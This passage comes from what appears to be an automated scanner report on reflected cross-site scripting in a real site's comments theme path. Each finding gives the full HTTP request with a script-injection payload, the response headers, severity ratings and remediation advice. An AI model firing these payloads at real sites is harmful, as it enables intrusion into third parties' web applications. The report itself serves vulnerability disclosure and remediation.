GET /themes7bb24"%3b29e03e834a6/CIO.com/style.css HTTP/1.1 Host: comments.csoonline.com Proxy-Connection: keep-alive Referer: http://www.csoonline.com/article/486324/security-tools-templates-policies Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=209317120.1298897096.1.1.utmcsr=ncircle.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.php; s_pers=%20s_pv%3DArticle%253A486324%253ASecurity%2520Tools%252C%2520Templates%252C%2520Policies%7C1298898971263%3B; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_ppv%3D0%3B%20s_sq%3D%3B; __utma=209317120.1042616613.1298897096.1298897096.1298897096.1; __utmc=209317120; __utmb=209317120.2.10.1298897096; __switchTo5x=4; __unam=db592fa-12e6c4e2ed5-37f53805-1
Response
HTTP/1.0 404 Not Found Date: Mon, 28 Feb 2011 12:46:30 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.13 Set-Cookie: PHPSESSID=j29dat3qqh0a37c7bgk2pnct04; expires=Wed, 23-Mar-2011 16:19:50 GMT; path=/; domain=.comments.csoonline.com Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Mon, 28 Feb 2011 12:46:30 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 33598
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3c28c"><script>alert(1)</script>b30dc3701d2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themes/3c28c"><script>alert(1)</script>b30dc3701d2/style.css HTTP/1.1 Host: comments.csoonline.com Proxy-Connection: keep-alive Referer: http://www.csoonline.com/article/486324/security-tools-templates-policies Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=209317120.1298897096.1.1.utmcsr=ncircle.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.php; s_pers=%20s_pv%3DArticle%253A486324%253ASecurity%2520Tools%252C%2520Templates%252C%2520Policies%7C1298898971263%3B; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_ppv%3D0%3B%20s_sq%3D%3B; __utma=209317120.1042616613.1298897096.1298897096.1298897096.1; __utmc=209317120; __utmb=209317120.2.10.1298897096; __switchTo5x=4; __unam=db592fa-12e6c4e2ed5-37f53805-1
Response
HTTP/1.0 404 Not Found Date: Mon, 28 Feb 2011 12:46:34 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.2.11 Set-Cookie: PHPSESSID=ss2e62743nmu5oe70go89phh82; expires=Wed, 23-Mar-2011 16:19:54 GMT; path=/; domain=.comments.csoonline.com Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Mon, 28 Feb 2011 12:46:34 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 33652
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 996fb"%3bef92d3fd080 was submitted in the REST URL parameter 2. This input was echoed as 996fb";ef92d3fd080 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /themes/CIO.com996fb"%3bef92d3fd080/style.css HTTP/1.1 Host: comments.csoonline.com Proxy-Connection: keep-alive Referer: http://www.csoonline.com/article/486324/security-tools-templates-policies Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=209317120.1298897096.1.1.utmcsr=ncircle.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.php; s_pers=%20s_pv%3DArticle%253A486324%253ASecurity%2520Tools%252C%2520Templates%252C%2520Policies%7C1298898971263%3B; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_ppv%3D0%3B%20s_sq%3D%3B; __utma=209317120.1042616613.1298897096.1298897096.1298897096.1; __utmc=209317120; __utmb=209317120.2.10.1298897096; __switchTo5x=4; __unam=db592fa-12e6c4e2ed5-37f53805-1
Response
HTTP/1.0 404 Not Found Date: Mon, 28 Feb 2011 12:46:34 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.2.11 Set-Cookie: PHPSESSID=410qc8ja48h0rcgs3deift28r4; expires=Wed, 23-Mar-2011 16:19:54 GMT; path=/; domain=.comments.csoonline.com Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Mon, 28 Feb 2011 12:46:34 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 33598
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9c28b"%3b393cac47464 was submitted in the REST URL parameter 3. This input was echoed as 9c28b";393cac47464 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /themes/CIO.com/style.css9c28b"%3b393cac47464 HTTP/1.1 Host: comments.csoonline.com Proxy-Connection: keep-alive Referer: http://www.csoonline.com/article/486324/security-tools-templates-policies Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=209317120.1298897096.1.1.utmcsr=ncircle.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.php; s_pers=%20s_pv%3DArticle%253A486324%253ASecurity%2520Tools%252C%2520Templates%252C%2520Policies%7C1298898971263%3B; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_ppv%3D0%3B%20s_sq%3D%3B; __utma=209317120.1042616613.1298897096.1298897096.1298897096.1; __utmc=209317120; __utmb=209317120.2.10.1298897096; __switchTo5x=4; __unam=db592fa-12e6c4e2ed5-37f53805-1
Response
HTTP/1.0 404 Not Found Date: Mon, 28 Feb 2011 12:46:38 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.2.11 Set-Cookie: PHPSESSID=jn2shqrq5dp3hcs074rj336d65; expires=Wed, 23-Mar-2011 16:19:58 GMT; path=/; domain=.comments.csoonline.com Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Mon, 28 Feb 2011 12:46:38 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 33598
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 26648"><script>alert(1)</script>e48a697392 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themes/CIO.com/26648"><script>alert(1)</script>e48a697392 HTTP/1.1 Host: comments.csoonline.com Proxy-Connection: keep-alive Referer: http://www.csoonline.com/article/486324/security-tools-templates-policies Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=209317120.1298897096.1.1.utmcsr=ncircle.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.php; s_pers=%20s_pv%3DArticle%253A486324%253ASecurity%2520Tools%252C%2520Templates%252C%2520Policies%7C1298898971263%3B; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_ppv%3D0%3B%20s_sq%3D%3B; __utma=209317120.1042616613.1298897096.1298897096.1298897096.1; __utmc=209317120; __utmb=209317120.2.10.1298897096; __switchTo5x=4; __unam=db592fa-12e6c4e2ed5-37f53805-1
Response
HTTP/1.0 404 Not Found Date: Mon, 28 Feb 2011 12:46:38 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.2.11 Set-Cookie: PHPSESSID=rjtg2gnus8bkklt251m06jrc34; expires=Wed, 23-Mar-2011 16:19:58 GMT; path=/; domain=.comments.csoonline.com Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Mon, 28 Feb 2011 12:46:38 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 33643
1.21. http://comments.csoonline.com/themes/CIO.com/style.css [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://comments.csoonline.com
Path:
/themes/CIO.com/style.css
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1ee95"><script>alert(1)</script>d863f30b9b8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /themes/CIO.com/style.css?1ee95"><script>alert(1)</script>d863f30b9b8=1 HTTP/1.1 Host: comments.csoonline.com Proxy-Connection: keep-alive Referer: http://www.csoonline.com/article/486324/security-tools-templates-policies Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=209317120.1298897096.1.1.utmcsr=ncircle.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.php; s_pers=%20s_pv%3DArticle%253A486324%253ASecurity%2520Tools%252C%2520Templates%252C%2520Policies%7C1298898971263%3B; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_ppv%3D0%3B%20s_sq%3D%3B; __utma=209317120.1042616613.1298897096.1298897096.1298897096.1; __utmc=209317120; __utmb=209317120.2.10.1298897096; __switchTo5x=4; __unam=db592fa-12e6c4e2ed5-37f53805-1
Response
HTTP/1.0 404 Not Found Date: Mon, 28 Feb 2011 12:46:27 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.13 Set-Cookie: PHPSESSID=749cmu62m5348idf3potrjq6e0; expires=Wed, 23-Mar-2011 16:19:47 GMT; path=/; domain=.comments.csoonline.com Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Mon, 28 Feb 2011 12:46:27 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 33682
1.22. http://comments.csoonline.com/themes/CIO.com/style.css [name of an arbitrarily supplied request parameter]previous
Summary
Severity:
High
Confidence:
Certain
Host:
http://comments.csoonline.com
Path:
/themes/CIO.com/style.css
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d4700"-alert(1)-"0f7baf53781 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /themes/CIO.com/style.css?d4700"-alert(1)-"0f7baf53781=1 HTTP/1.1 Host: comments.csoonline.com Proxy-Connection: keep-alive Referer: http://www.csoonline.com/article/486324/security-tools-templates-policies Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=209317120.1298897096.1.1.utmcsr=ncircle.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.php; s_pers=%20s_pv%3DArticle%253A486324%253ASecurity%2520Tools%252C%2520Templates%252C%2520Policies%7C1298898971263%3B; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_ppv%3D0%3B%20s_sq%3D%3B; __utma=209317120.1042616613.1298897096.1298897096.1298897096.1; __utmc=209317120; __utmb=209317120.2.10.1298897096; __switchTo5x=4; __unam=db592fa-12e6c4e2ed5-37f53805-1
Response
HTTP/1.0 404 Not Found Date: Mon, 28 Feb 2011 12:46:28 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.2.11 Set-Cookie: PHPSESSID=lcg22pp2fnudj2pm8has9cgvk5; expires=Wed, 23-Mar-2011 16:19:48 GMT; path=/; domain=.comments.csoonline.com Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Mon, 28 Feb 2011 12:46:28 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 33637